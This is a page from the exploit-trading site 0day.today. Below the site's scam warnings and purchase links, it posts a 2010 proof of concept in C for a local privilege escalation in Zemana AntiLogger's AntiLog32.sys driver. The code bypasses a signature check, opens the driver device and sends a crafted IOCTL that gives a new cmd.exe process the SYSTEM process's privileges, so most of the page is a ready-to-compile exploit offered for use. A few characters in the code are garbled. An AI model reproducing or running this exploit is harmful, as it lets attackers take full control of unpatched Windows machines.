0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Zemana AntiLogger AntiLog32.sys <= 1.5.2.755 Local Privilege Escalation
======================================================================= Zemana AntiLogger AntiLog32.sys <= 1.5.2.755 Local Privilege Escalation ======================================================================= Zemana AntiLogger AntiLog32.sys <= 1.5.2.755 Local Privilege Escalation Vulnerability VULNERABLE PRODUCTS Zemana AntiLogger <=1.9.2.2.206 DETAILS: AntiLog32.sys create a device called \Device\AntiLog32 , and handles DeviceIoControl request IoControlCode = 0x8000201C , which can elevate the privilege of a process to another process EXPLOIT CODE: #include "stdafx.h" #include "windows.h" #include "winioctl.h" #define IOCTL_IMPERSONATE_PROCESS CTL_CODE(0x8000 , 0x807 , METHOD_BUFFERED , FILE_ANY_ACCESS) typedef struct _IMPERSONATE_PROCESS{ HANDLE ImpersonateProcess ; HANDLE SystemProcess ; }IMPERSONATE_PROCESS , *PIMPERSONATE_PROCESS; int main(int argc, char* argv[]) { printf("Zemana AntiLogger <=1.9.2.2.206 AntiLog32.sys <= 1.5.2.755\n" "Local Privilege Escalation Vulnerability Proof-of-Concept\n" "2010-7-28\n" "By MJ0011 th_decoder@126.com\n\nPress Enter\n"); getchar(); //bypass some useless create check PIMAGE_DOS_HEADER pdoshdr = (PIMAGE_DOS_HEADER)GetModuleHandle(NULL); PIMAGE_NT_HEADERS pnthdr = (PIMAGE_NT_HEADERS)((ULONG)pdoshdr + pdoshdr->e_lfanew); PVOID waddr = &pnthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress ; ULONG oldp ; VirtualProtect(waddr , sizeof(ULONG) , PAGE_READWRITE , &oldp); pnthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0x1 ; VirtualProtect(waddr , sizeof(ULONG) , oldp , &oldp); HANDLE hdev = CreateFile("\\\\.\\AntiLog32" , FILE_READ_ATTRIBUTES , FILE_SHARE_READ , 0, OPEN_EXISTING , 0,0); if (hdev == INVALID_HANDLE_VALUE) { printf("cannot open device %u\n" , GetLastError()); getchar(); return 0; } STARTUPINFOA sia ; memset(&sia , 0 , sizeof(sia)); sia.cb = sizeof(sia); PROCESS_INFORMATION pi ; memset(? , 0 , sizeof(pi)); if (!CreateProcess("c:\\windows\\system32\\cmd.exe" , NULL , NULL, NULL, FALSE , CREATE_SUSPENDED, NULL, NULL, &sia , ?)) { printf("cannot run cmd.exe....%u\n", GetLastError()); getchar(); return 0 ; } IMPERSONATE_PROCESS ip ; ip.ImpersonateProcess = (HANDLE)pi.dwProcessId ; ip.SystemProcess = (HANDLE)4 ; //// WinXP and later ULONG btr ; if (!DeviceIoControl(hdev , IOCTL_IMPERSONATE_PROCESS , &ip , sizeof(ip) , NULL , 0 , &btr, 0)) { printf("cannot impersonate process %u\n" , GetLastError()); getchar(); return 0 ; } ResumeThread(pi.hThread); printf("OK\n"); return 0; } ================================ # 0day.today [2024-12-27] #